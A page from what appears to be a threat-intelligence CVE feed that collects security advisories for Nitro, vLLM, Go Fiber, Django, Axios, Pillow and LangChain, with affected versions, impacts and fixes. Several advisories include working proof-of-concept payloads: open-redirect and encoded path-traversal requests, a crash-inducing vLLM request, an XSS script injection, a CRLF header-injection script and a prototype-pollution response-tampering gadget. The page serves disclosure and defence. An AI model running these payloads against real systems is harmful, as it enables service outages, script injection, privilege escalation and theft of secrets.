Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

227threats · Medium· page 4/12
Get guardrails →

Nitro has an Open Redirect via Protocol-Relative URL Bypass in Wildcard Route Rules

A redirect route rule like: ``ts routeRules: { "/legacy/": { redirect: "/" } } ` is intended to rewrite paths within the same host. Before the patch, an attacker could turn the rewrite into a cross-host redirect by sliding an extra slash in after the rule prefix. Example exploit: ` GET /legacy//evil.com ` Nitro stripped /legacy from the matched pathname and joined the remainder against the rule's target. The remainder was //evil.com, which the join preserved verbatim, so Nitro responded with Location: //evil.com. Browsers resolve //evil.com as a protocol-relative URL against the current scheme, sending the user to https://evil.com. Are you affected? Users may be affected if all of the following are true: 1. Their project uses Nitro's routeRules with a redirect entry. 2. The target uses a / wildcard suffix to forward sub-paths (e.g. redirect: "/", redirect: "/new/", proxy: { to: "http://upstream/" }). 3. The redirect rule is _not_ handled natively at the CDN layer. The vercel, netlify, cloudflare-pages, and edgeone presets translate routeRules.redirect into platform config (vercel.json, _redirects, EdgeOne v3 config) and serve the redirect at the edge — those deployments bypass the Nitro runtime entirely and are not affected. Every other preset executes the redirect through the Nitro runtime and can be vulnerable. Impact Open redirect from any host serving Nitro with a wildcard redirect rule. The redirect target is fully attacker-controlled, the URL looks legitimate (it starts with the victim's domain), and the browser silently follows it. Patched versions Upgrade to one of: 2.13.4 or later (or upgrade lockfile with latest ufo 1.6.4+) 3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4236) The fix has two parts: 1. ufo is bumped to ^1.6.4 (unjs/ufo@5cd9e67), which collapses any run of leading slashes to a single / inside withoutBase. This covers the typical "/scope/" rule. 2. The Nitro runtime additionally collapses leading // before joining when the rule path itself is / (in rare case which case withoutBase is never called and the raw pathname flows straight into joinURL("", …)`).

Nitro has a proxy scope bypass via percent-encoded path traversal in `routeRules`

A proxy route rule like: ``ts routeRules: { "/api/orders/": { proxy: { to: "http://upstream/orders/" } } } ` is intended to limit the proxy to URLs under /api/orders/. Before the patch, an attacker could bypass that scope by sending percent-encoded path traversal (..%2f) in the URL, causing Nitro to forward a request that the upstream resolved outside the configured scope. Example exploit: ` GET /api/orders/..%2fadmin%2fconfig.json ` Nitro sees ..%2f as opaque characters at match time, the /api/orders/ rule matched, and the raw path was forwarded to the upstream as /orders/..%2fadmin/config.json. An upstream that decodes %2F to / then resolved .. and can serve /admin/config.json outside the intended scope. Are you affected? Users may be affected if ALL of the following are true: 1. Their project uses Nitro's routeRules with a proxy entry ({ proxy: { to: "..." } }). 2. The proxy to value uses a / wildcard suffix to forward sub-paths. 3. The upstream behind the proxy decodes %2F as / before routing or filesystem lookup. 4. Proxy route rules are _not_ handled natively at CDN (nitro v3 and vercel) Whether the bypass actually leaks data depends on the upstream. Modern JS frameworks keep %2F opaque per RFC 3986 and are safe by construction. Safe examples: H3 v2, Express v5, Hono v4 — modern JS frameworks keep %2F opaque per RFC 3986. Vulnerable examples: naive imlementations that decodes the URL, static file servers, CGI dispatchers, Python os.path-based routing, anything sitting behind another layer that decodes %2F (common in microservice meshes). Impact Any HTTP path reachable from the Nitro server to the upstream could be requested, regardless of the configured / scope. In typical deployments (API gateway, BFF, microservice proxy) this could expose internal admin endpoints, secrets endpoints, or other services the developer believed the scope rule fenced off. Patched versions Upgrade to one of: 2.13.4 or later (https://github.com/nitrojs/nitro/pull/4223) 3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4222) The fix canonicalizes the incoming pathname before building the upstream URL and rejects requests with 400 Bad Request if the resolved path would escape the rule's base. The bytes forwarded upstream are unchanged when the request is allowed. > Note: the fix assumes the upstream does not double-decode percent-encoding. If your upstream decodes twice (%252F → %2F → /`), it remains your responsibility to harden it. Single-decode is standard**. Credits Reported by @mHe4am (@he4am on HackerOne) via the Vercel Open Source program.

OWASP A01OWASP Web
Get guardrail →

vLLM: extract_hidden_states speculative decoding crashes server on any request with penalty parameters

Summary The extract_hidden_states speculative decoding proposer in vLLM returns a tensor with an incorrect shape after the first decode step, causing a RuntimeError that crashes the EngineCore process. The crash is triggered when any request in the batch uses sampling penalty parameters (repetition_penalty, frequency_penalty, or presence_penalty). A single request with a penalty parameter (e.g., "repetition_penalty": 1.1) is sufficient to crash the server. The crash is deterministic and immediate — no concurrency, race condition, or special workload is required. Details In vLLM v0.17.0, the extract_hidden_states proposer's propose() method returned sampled_token_ids.unsqueeze(-1), producing a tensor of shape (batch_size, 1). In PR #37013 (first released in v0.18.0), the KV connector interface was refactored out of propose(). The return type changed from tuple[Tensor, KVConnectorOutput | None] to Tensor, and the .unsqueeze(-1) call was removed along with the KV connector output: ``python Before (v0.17.0): return sampled_token_ids.unsqueeze(-1), kv_connector_output # shape (batch_size, 1) After (v0.18.0+): return sampled_token_ids # shape (batch_size, 2) after first decode step ` The refactor missed that sampled_token_ids changed semantics between the first and subsequent decode steps. After the first decode step, the rejection sampler allocates its output as (batch_size, max_spec_len + 1). With num_speculative_tokens=1, this produces shape (batch_size, 2) instead of the expected (batch_size, 1), causing a broadcast shape mismatch during penalty application. Impact Any vLLM deployment between v0.18.0 and v0.19.1 (inclusive) configured with extract_hidden_states speculative decoding is affected. A single API request containing any penalty parameter immediately and permanently crashes the EngineCore process, resulting in complete loss of service availability. Patches Fixed in PR #38610, first included in vLLM v0.20.0. The fix slices the return value to sampled_token_ids[:, :1], ensuring the correct (batch_size, 1) shape regardless of the rejection sampler's output dimensions. Workarounds Upgrade to vLLM v0.20.0 or later. If upgrading is not possible, avoid using extract_hidden_states as the speculative decoding method on affected versions. Alternatively, reject or strip penalty parameters (repetition_penalty, frequency_penalty, presence_penalty`) from incoming requests at an API gateway before they reach vLLM.

vLLM Vulnerable to Remote DoS via Special-Token Placeholders

Summary This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL. Details Affected component: multimodal input position computation. File/functions (paths are indicative): vllm/model_executor/layers/rotary_embedding.py get_input_positions_tensor(...) _vl_get_input_positions_tensor(...) Failure mechanism: The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly. When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing. Representative snippet (context): ``python vllm/model_executor/layers/rotary_embedding.py @classmethod def _vl_get_input_positions_tensor( cls, input_tokens, hf_config, image_grid_thw, video_grid_thw, ..., ): # detect video tokens video_nums = (vision_tokens == video_token_id).sum() # later in processing t, h, w = ( video_grid_thw[video_index][0], # IndexError if no video data video_grid_thw[video_index][1], video_grid_thw[video_index][2], ) ` Abbreviated call path: ` OpenAI API request → vllm.v1.engine.core: step/execute_model → vllm.v1.worker.gpu_model_runner: _update_states/execute_model → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor → _vl_get_input_positions_tensor → IndexError: list index out of range ` PoC Environment vLLM: 0.10.0 Model: Qwen/Qwen2.5-VL-3B-Instruct Launch server: `bash python -m vllm.entrypoints.openai.api_server \ --model Qwen/Qwen2.5-VL-3B-Instruct \ --port 8000 ` Request (text-only, no image/video data) `bash cat > request.json <<'JSON' { "model": "Qwen/Qwen2.5-VL-3B-Instruct", "messages": [ { "role": "user", "content": [ { "type": "text", "text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" } ] } ] } JSON curl -s http://127.0.0.1:8000/v1/chat/completions \ -H 'Content-Type: application/json' \ --data @request.json `` Observed result HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...). In some deployments, the worker exits and capacity remains reduced until manual restart. Impact Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault. Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts). Effect: Request → unhandled exception in position computation → worker termination / service unavailability. Fixes Changes associated with https://github.com/vllm-project/vllm/issues/32656 Credits Pengyu Ding (Infra Security, Ant Group) Ziteng Xu (Infra Security, Ant Group)

Fiber vulnerable to XSS in AutoFormat Content Negotiation

Summary Description A Cross-Site Scripting (CWE-79) vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. This affects github.com/gofiber/fiber/v3 (DefaultRes.AutoFormat) through version 3.1.0 and github.com/gofiber/fiber/v2 (Ctx.Format) through version 2.52.12. The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. Five of the six branches of the same method already escape. JSON, XML, MsgPack, and CBOR all route through encoders that neutralize markup; the txt branch emits text/plain and cannot execute. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply." Details The issue resides in res.go within (DefaultRes).AutoFormat(). The method negotiates against the request Accept header, selects one of html | json | txt | xml | msgpack | cbor, and serializes the caller-supplied body accordingly. The "html" branch concatenates the stringified body directly into HTML markup with no output encoding: accept comes from r.c.Accepts(...), i.e. is fully attacker-controlled. An attacker can force the "html" branch on any AutoFormat() call regardless of which format the developer tested against. b is produced from body via direct assignment (string / []byte) or fmt.Sprintf("%v", body). No html.EscapeString is applied. The resulting string is sent as text/html; charset=utf-8, so browsers render it as active HTML. ``go // res.go func (r DefaultRes) AutoFormat(body any) error { accept := r.c.DefaultReq.Accepts("html", "json", "txt", "xml", "msgpack", "cbor") r.Type(accept) var b string switch val := body.(type) { case string: b = val case []byte: b = r.c.app.toString(val) default: b = fmt.Sprintf("%v", val) } switch accept { case "txt": return r.SendString(b) case "json": return r.JSON(body) case "xml": return r.XML(body) case "html": return r.SendString("<p>" + b + "</p>") case "msgpack": return r.MsgPack(body) case "cbor": return r.CBOR(body) } return r.SendString(b) } ` Impact This impacts all current v3 releases ≤ 3.1.0 containing DefaultRes.AutoFormat, and all current v2 releases ≤ 2.52.12 where the identical "<p>" + b + "</p>" construction exists in (Ctx).Format(). Exploitation requires that an application call c.AutoFormat(v) where v (or a field stringified by %v) contains request-influenced data. A handler that uses AutoFormat() to serve multiple representations of the same data can be turned into an HTML XSS sink when the client sends Accept: text/html, even if the developer only tested the JSON path. This may result in: Reflected XSS in the application's origin via any request-derived value reaching AutoFormat. Stored XSS where the reflected value originates from persisted input later passed to AutoFormat. Proposed Patch The injection surface is r.Type("html") followed by r.SendString(b) with unescaped caller data, where it constructs markup on the caller's behalf around a value whose HTML-ness the caller did not declare. A few options: AutoFormat() should treat body as data, not markup, in the "html" branch and escape it before concatenating it into the framework-generated <p> wrapper. Callers that need raw negotiated HTML should use Format() with an explicit HTML handler. Introduce a sibling method that escapes, leave AutoFormat alone for backward compatibility. HTML-escape the value in the "html" branch before concatenating it into the <p> wrapper. `go import "html" // ... case "html": return r.SendString("<p>" + html.EscapeString(b) + "</p>") ` html.EscapeString escapes <, >, &, ', ", which is sufficient for an element-text context. Apply the same change to v2's (Ctx).Format(). Proof of Concept `bash Create project directory mkdir fiber-xss-poc && cd fiber-xss-poc Initialize Go module go mod init fiber-xss-poc Install Fiber v3 go get github.com/gofiber/fiber/v3 Create the PoC file cat > main.go << 'EOF' package main import ( "github.com/gofiber/fiber/v3" ) type User struct { ID int json:"id" Name string json:"name" } func main() { app := fiber.New() app.Get("/api/user", func(c fiber.Ctx) error { user := User{ ID: 1, Name: c.Query("name", "anonymous"), } return c.AutoFormat(user) }) app.Listen(":3000") } EOF Run it go run main.go } ` Benign JSON `bash curl -s 'http://127.0.0.1:3000/api/user?name=Alice' -H 'Accept: application/json' {"id":1,"name":"Alice"} ` HTML sink enables XSS `bash curl -s 'http://127.0.0.1:3000/api/user?name=<script>alert(document.domain)</script>' -H 'Accept: text/html' <p>{1 <script>alert(document.domain)</script>}</p> ``

OWASP A03OWASP Web
Get guardrail →
2 rules

Django has an Improper Handling of Length Parameter Inconsistency

An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. ASGI requests with a missing or understated Content-Length header can bypass the FILE_UPLOAD_MAX_MEMORY_SIZE limit, potentially loading large files into memory and causing service degradation. As a reminder, Django expects a limit to be configured at the web server level rather than solely relying on FILE_UPLOAD_MAX_MEMORY_SIZE. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django thanks Kyle Agronick for reporting this issue.

Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

Summary The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. Details In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: `` if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF}; } ` Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type. Attack chain: 1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences 2. The proxy appends the file to a FormData and posts it via axios.post(url, formData) 3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited. PoC Prerequisites: Node.js 18+, axios (tested on 1.14.0) ` const http = require('http'); const axios = require('axios'); let receivedBody = ''; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); }); server.listen(0, '127.0.0.1', async () => { const port = server.address().port; class SpecFormData { constructor() { this._entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this._entries.push([name, value]); } [Symbol.iterator]() { return this._entries[Symbol.iterator](); } entries() { return this._entries[Symbol.iterator](); } } const fd = new SpecFormData(); fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function*() { yield Buffer.from('MALICIOUS PAYLOAD'); } }); await axios.post(http://127.0.0.1:${port}/upload, fd); if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOT_VULNERABLE]'); } server.close(); }); ` Steps to reproduce: 1. npm install axios 2. Save the above as poc_axios_crlf.js 3. Run node poc_axios_crlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts. Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue. Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. ` const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += Content-Type: ${safeType}${CRLF}; ``

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass. The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This is strictly more powerful than the transformResponse gadget because: 1. No constraints — the reviver can return any value (no "must return true" requirement) 2. Selective modification — individual JSON keys can be changed while others remain untouched 3. Invisible — the response structure and most values look completely normal 4. Simultaneous exfiltration — the reviver sees the original values before modification Severity: Critical (CVSS 9.1) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver) CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes CVSS 3.1 Score: 9.1 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured | | Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent | Comparison with All Known Axios PP Gadgets | Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) | |---|---|---|---|---| | PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver | | Fixed by 1.15.0? | Yes | No | No | No | | Constraints | N/A (fixed) | Must return true | None | None | | Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification | | Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible | | Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair | | Validated? | N/A | assertOptions validates | Not validated | Not validated | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed. Root Cause Analysis The Attack Path `` Object.prototype.parseReviver = function(key, value) { / malicious / } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response ` Why parseReviver Bypasses ALL Existing Protections 1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property. 2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated. 3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set. 4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch. Vulnerable Code File: lib/defaults/index.js, line 124 `javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ], ` Proof of Concept `javascript import http from 'http'; import axios from './index.js'; // Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port; // === Before Pollution === const before = await axios.get(http://127.0.0.1:${port}/api/me); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...} // === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged }; // === After Pollution — same code, same URL === const after = await axios.get(http://127.0.0.1:${port}/api/me); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...} console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"} delete Object.prototype.parseReviver; server.close(); ` Verified PoC Output ` [1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer [2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier [3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin (was: viewer) canDelete: true (was: false) balance: 999999 (was: 100) [4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"} [5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse ` Impact Analysis 1. Authorization / Privilege Escalation `javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user ` 2. Financial Manipulation `javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected ` 3. Security Control Bypass `javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account ` 4. Silent Data Exfiltration The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally. 5. Universal and Invisible Affects every Axios request that receives a JSON response The response structure is intact — only specific values are changed No errors, no crashes, no suspicious behavior Application logs show normal-looking API responses with tampered values Recommended Fix Fix 1: Use hasOwnProperty check before using parseReviver `javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver); ` Fix 2: Use null-prototype config object `javascript // In lib/core/mergeConfig.js const config = Object.create(null); ` Fix 3: Validate parseReviver type and source `javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver); ` Relationship to Other Reported Gadgets This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets: | Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios_26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true | | axios_30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception | | axios_31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration | Why These Are Distinct Vulnerabilities 1. Different polluted properties: Each targets a different Object.prototype key. 2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call. 3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch. 4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification. Comprehensive Fix While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this. Resources CWE-1321: Prototype Pollution CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) MDN: JSON.parse reviver Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03OWASP A04LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Pillow has a PDF Parsing Trailer Infinite Loop (DoS)

Impact An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive. Patches Patched version: 12.2.0. PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an error if a cycle is detected. Workarounds Use any version but the affected versions: >= 4.2.0, < 12.2.0 Resources Fix: https://github.com/python-pillow/Pillow/pull/9519

Pillow has an integer overflow when processing fonts

If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.

Pillow has a heap buffer overflow with nested list coordinates

Passing nested lists as coordinates to APIs that accept coordinates such as ImagePath.Path, ImageDraw.ImageDraw.polygon and ImageDraw.ImageDraw.line could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.

LangChain has incomplete f-string validation in prompt templates

LangChain's f-string prompt-template validation was incomplete in two respects. First, some prompt template classes accepted f-string templates and formatted them without enforcing the same attribute-access validation as PromptTemplate. In particular, DictPromptTemplate and ImagePromptTemplate could accept templates containing attribute access or indexing expressions and subsequently evaluate those expressions during formatting. Examples of the affected shape include: ``python "{message.additional_kwargs[secret]}" "https://example.com/{image.__class__.__name__}.png" ` Second, f-string validation based on parsed top-level field names did not reject nested replacement fields inside format specifiers. For example: `python "{name:{name.__class__.__name__}}" ` In this pattern, the nested replacement field appears in the format specifier rather than in the top-level field name. As a result, earlier validation based on parsed field names did not reject the template even though Python formatting would still attempt to resolve the nested expression at runtime. Affected usage This issue is only relevant for applications that accept untrusted template strings, rather than only untrusted template variable values. In addition, practical impact depends on what objects are passed into template formatting: If applications only format simple values such as strings and numbers, impact is limited and may only result in formatting errors. If applications format richer Python objects, attribute access and indexing may interact with internal object state during formatting. In many deployments, these conditions are not commonly present together. Applications that allow end users to author arbitrary templates often expose only a narrow set of simple template variables, while applications that work with richer internal Python objects often keep template structure under developer control. As a result, the highest-impact scenario is plausible but is not representative of all LangChain applications. Applications that use hardcoded templates or that only allow users to provide variable values are not affected by this issue. Impact The direct issue in DictPromptTemplate and ImagePromptTemplate allowed attribute access and indexing expressions to survive template construction and then be evaluated during formatting. When richer Python objects were passed into formatting, this could expose internal fields or nested data to prompt output, model context, or logs. The nested format-spec issue is narrower in scope. It bypassed the intended validation rules for f-string templates, but in simple cases it results in an invalid format specifier error rather than direct disclosure. Accordingly, its practical impact is lower than that of direct top-level attribute traversal. Overall, the practical severity depends on deployment. Meaningful confidentiality impact requires attacker control over the template structure itself, and higher impact further depends on the surrounding application passing richer internal Python objects into formatting. Fix The fix consists of two changes. First, LangChain now applies f-string safety validation consistently to DictPromptTemplate and ImagePromptTemplate, so templates containing attribute access or indexing expressions are rejected during construction and deserialization. Second, LangChain now rejects nested replacement fields inside f-string format specifiers. Concretely, LangChain validates parsed f-string fields and raises an error for: variable names containing attribute access or indexing syntax such as . or [] format specifiers containing { or } This blocks templates such as: `python "{message.additional_kwargs[secret]}" "https://example.com/{image.__class__.__name__}.png" "{name:{name.__class__.__name__}}" ` The fix preserves ordinary f-string formatting features such as standard format specifiers and conversions, including examples like: `python "{value:.2f}" "{value:>10}" "{value!r}" `` In addition, the explicit template-validation path now applies the same structural f-string checks before performing placeholder validation, ensuring that the security checks and validation checks remain aligned.

OWASP A03LLM01 · Prompt InjectionOWASP LLM
Get guardrail →

Axios HTTP/2 Session Cleanup State Corruption Vulnerability

